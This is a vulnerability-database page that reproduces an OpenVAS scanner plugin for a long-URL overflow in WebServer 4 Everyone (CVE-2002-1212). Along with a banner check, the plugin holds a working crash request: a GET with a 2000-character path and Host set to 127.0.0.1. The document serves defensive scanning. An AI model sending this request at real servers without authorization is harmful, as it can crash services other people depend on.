Lucene search
K

Webserver4everyone too long URL

🗓️ 03 Nov 2005 00:00:00Reported by This script is Copyright (C) 2002 Michel ArboiType 
openvas
 openvas
🔗 plugins.openvas.org👁 23 Views

Webserver4everyone execute arbitrary code by sending it too long URL with Host field set to 127.0.0.

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Webserver4everyone < 1.30 URI Overflow
20 Aug 200400:00
nessus
Tenable Nessus
Web Server Long URL Handling Remote Overflow DoS
22 Jun 199900:00
nessus
CVE
CVE-2002-1212
21 Oct 200204:00
cve
Cvelist
CVE-2002-1212
21 Oct 200204:00
cvelist
EUVD
EUVD-2002-1196
7 Oct 202500:30
euvd
NVD
CVE-2002-1212
28 Oct 200205:00
nvd
OpenVAS
www too long url
23 Jun 200900:00
openvas
OpenVAS
WWW Too Long URL DoS Vulnerability
23 Jun 200900:00
openvas
securityvulns
iDEFENSE Security Advisory 10.15.02: DoS and Directory Traversal Vulnerabilities in WebServer 4 Everyone
16 Oct 200200:00
securityvulns
# OpenVAS Vulnerability Test
# $Id: ws4e_too_long_url.nasl 6053 2017-05-01 09:02:51Z teissa $
# Description: Webserver4everyone too long URL
#
# Authors:
# Michel Arboi <[email protected]>
#
# Copyright:
# Copyright (C) 2002 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "It may be possible to make Webserver4everyone execute
arbitrary code by sending it a too long url with 
the Host: field set to 127.0.0.1";

tag_solution = "Upgrade your web server.";

# Some vulnerable servers:
# WebServer 4 Everyone v1.28
#
# References:
# From:"Tamer Sahin" <[email protected]>
# To:[email protected]
# Subject: [SecurityOffice] Web Server 4 Everyone v1.28 Host Field Denial of Service Vulnerability

if(description)
{
 script_id(11167);
 script_version("$Revision: 6053 $");
 script_tag(name:"last_modification", value:"$Date: 2017-05-01 11:02:51 +0200 (Mon, 01 May 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_bugtraq_id(5967);
 script_cve_id("CVE-2002-1212");
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
 
 name = "Webserver4everyone too long URL";
 script_name(name);
 



 summary = "Webserver4everyone too long URL with Host field set";
 
 script_category(ACT_MIXED_ATTACK);
  script_tag(name:"qod_type", value:"remote_banner"); # mixed
 
 
 script_copyright("This script is Copyright (C) 2002 Michel Arboi");
 family = "Gain a shell remotely";
 script_family(family);
 script_dependencies("gb_get_http_banner.nasl");
 script_mandatory_keys("W4E/banner");
 script_require_ports("Services/www",80);
 script_exclude_keys("www/too_long_url_crash");
 script_require_keys("www/webserver4everyone");
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

#

include("http_func.inc");

port = get_http_port(default:80);

if (! get_port_state(port)) exit(0);

if(safe_checks())
{ 
  b = get_http_banner(port: port);
  if (egrep(string: b, pattern: "WebServer 4 Everyone/1\.([01][0-9]?|2[0-8])"))
    security_message(port);
  exit(0);
}

if(http_is_dead(port:port))exit(0);

soc = http_open_socket(port);
if (! soc) exit(0);

req = string("GET /", crap(2000), " HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n");
send(socket:soc, data:req);
http_close_socket(soc);

if(http_is_dead(port: port))
{
  security_message(port);
  set_kb_item(name:"www/too_long_url_crash", value:TRUE);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation